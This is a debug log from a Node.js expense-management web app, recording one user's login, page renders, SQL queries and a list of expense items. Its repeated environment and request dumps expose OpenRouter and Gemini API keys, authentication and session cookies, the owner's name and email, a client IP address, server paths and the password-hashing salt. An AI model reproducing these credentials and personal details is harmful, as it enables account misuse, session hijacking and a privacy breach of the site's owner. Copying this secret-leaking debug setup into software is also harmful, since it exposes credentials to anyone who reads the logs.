2026-05-06T02:12:14.813Z server-connect:output identity: false
2026-05-06T02:12:14.813Z server-connect:router Render template layouts/authentication
2026-05-06T02:12:14.813Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-07T02:12:14.811Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-06T02:12:19.359Z server-connect:router Serving serverConnect /api/access-control/login
2026-05-06T02:12:19.360Z server-connect:app Executing action step identify
2026-05-06T02:12:19.360Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:19.360Z server-connect:auth No login cookie found
2026-05-06T02:12:19.360Z server-connect:output identity: false
2026-05-06T02:12:19.360Z server-connect:app Executing action step login
2026-05-06T02:12:19.360Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-05-06T02:12:19.381Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-06T02:12:19.432Z server-connect:output identity: 1
2026-05-06T02:12:19.433Z server-connect:app Executing action step restrict
2026-05-06T02:12:19.433Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:19.434Z server-connect:output restrict: undefined
2026-05-06T02:12:19.670Z server-connect:router Serving templateView /
2026-05-06T02:12:19.671Z server-connect:app Executing action step identify
2026-05-06T02:12:19.671Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:19.671Z server-connect:output identity: 1
2026-05-06T02:12:19.671Z server-connect:app Executing action step restrict
2026-05-06T02:12:19.671Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T02:12:19.672Z server-connect:output restrict: undefined
2026-05-06T02:12:19.672Z server-connect:app Executing action step restrict
2026-05-06T02:12:19.672Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T02:12:19.673Z server-connect:output restrict: undefined
2026-05-06T02:12:19.674Z server-connect:router Render template layouts/main
2026-05-06T02:12:19.674Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aaho3BkAmRA7cdhslOWl2ZA%3D%3D.fssMJVCqViVW4ydtUJgrJQdz1N0MO3jn6wvgLmpVvFSjT975gN3pJAyliEaGMawW7Oipv4UGp367cIAMXNqNgJdT7Cu61oYcq4snaL6fMfkn5U4REPeYijmo%2FGVO8Fxtqu7QSeCnm2BUq9dXJUF%2B1PlQj0dBL5CptmvYNOzBpo8%3D.6ajuVDPSAMgMslnayJ4wM2tgU5U%2FJvnmky1lN7e50so; your_r_git.sid=s%3AxVvSaDzPhF2jCBZCom7bTxl9xUPzSwIx.e0EhM5V30AXMenecNwdrIXS5kQt5a0xkWegJdk2o8lE',
    'x-forwarded-for': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-07T02:12:19.434Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aaho3BkAmRA7cdhslOWl2ZA%3D%3D.fssMJVCqViVW4ydtUJgrJQdz1N0MO3jn6wvgLmpVvFSjT975gN3pJAyliEaGMawW7Oipv4UGp367cIAMXNqNgJdT7Cu61oYcq4snaL6fMfkn5U4REPeYijmo%2FGVO8Fxtqu7QSeCnm2BUq9dXJUF%2B1PlQj0dBL5CptmvYNOzBpo8%3D.6ajuVDPSAMgMslnayJ4wM2tgU5U%2FJvnmky1lN7e50so; your_r_git.sid=s%3AxVvSaDzPhF2jCBZCom7bTxl9xUPzSwIx.e0EhM5V30AXMenecNwdrIXS5kQt5a0xkWegJdk2o8lE',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-06T02:12:20.753Z server-connect:router Serving serverConnect /api/masters/get-items
2026-05-06T02:12:20.754Z server-connect:app Executing action step identify
2026-05-06T02:12:20.754Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:20.754Z server-connect:output identity: 1
2026-05-06T02:12:20.755Z server-connect:app Executing action step restrict
2026-05-06T02:12:20.755Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:20.755Z server-connect:output restrict: undefined
2026-05-06T02:12:20.760Z server-connect:app Executing action step select
2026-05-06T02:12:20.760Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-05-06T02:12:20.770Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 535 more items
]
2026-05-06T02:12:20.773Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-05-06T02:12:20.776Z server-connect:app Executing action step identify
2026-05-06T02:12:20.776Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:20.776Z server-connect:output identity: 1
2026-05-06T02:12:20.776Z server-connect:app Executing action step restrict
2026-05-06T02:12:20.776Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:20.777Z server-connect:output restrict: undefined
2026-05-06T02:12:20.777Z server-connect:app Executing action step single
2026-05-06T02:12:20.777Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-05-06T02:12:20.778Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-05-06T02:12:23.793Z server-connect:router Serving templateView /expense/list
2026-05-06T02:12:23.794Z server-connect:app Executing action step identify
2026-05-06T02:12:23.794Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:23.794Z server-connect:output identity: 1
2026-05-06T02:12:23.794Z server-connect:app Executing action step restrict
2026-05-06T02:12:23.794Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-06T02:12:23.795Z server-connect:output restrict: undefined
2026-05-06T02:12:23.795Z server-connect:router Render template expense/list
2026-05-06T02:12:23.795Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Aaho3BkAmRA7cdhslOWl2ZA%3D%3D.fssMJVCqViVW4ydtUJgrJQdz1N0MO3jn6wvgLmpVvFSjT975gN3pJAyliEaGMawW7Oipv4UGp367cIAMXNqNgJdT7Cu61oYcq4snaL6fMfkn5U4REPeYijmo%2FGVO8Fxtqu7QSeCnm2BUq9dXJUF%2B1PlQj0dBL5CptmvYNOzBpo8%3D.6ajuVDPSAMgMslnayJ4wM2tgU5U%2FJvnmky1lN7e50so; your_r_git.sid=s%3AxVvSaDzPhF2jCBZCom7bTxl9xUPzSwIx.e0EhM5V30AXMenecNwdrIXS5kQt5a0xkWegJdk2o8lE',
    'x-forwarded-for': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-07T02:12:19.434Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Aaho3BkAmRA7cdhslOWl2ZA%3D%3D.fssMJVCqViVW4ydtUJgrJQdz1N0MO3jn6wvgLmpVvFSjT975gN3pJAyliEaGMawW7Oipv4UGp367cIAMXNqNgJdT7Cu61oYcq4snaL6fMfkn5U4REPeYijmo%2FGVO8Fxtqu7QSeCnm2BUq9dXJUF%2B1PlQj0dBL5CptmvYNOzBpo8%3D.6ajuVDPSAMgMslnayJ4wM2tgU5U%2FJvnmky1lN7e50so; your_r_git.sid=s%3AxVvSaDzPhF2jCBZCom7bTxl9xUPzSwIx.e0EhM5V30AXMenecNwdrIXS5kQt5a0xkWegJdk2o8lE',
    'HTTP_X_FORWARDED-FOR': '2409:40d4:204e:ad4b:1843:c0b9:6146:1383',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-06T02:12:24.033Z server-connect:router Serving serverConnect /api/expense/list
2026-05-06T02:12:24.034Z server-connect:app Executing action step identify
2026-05-06T02:12:24.034Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:24.034Z server-connect:output identity: 1
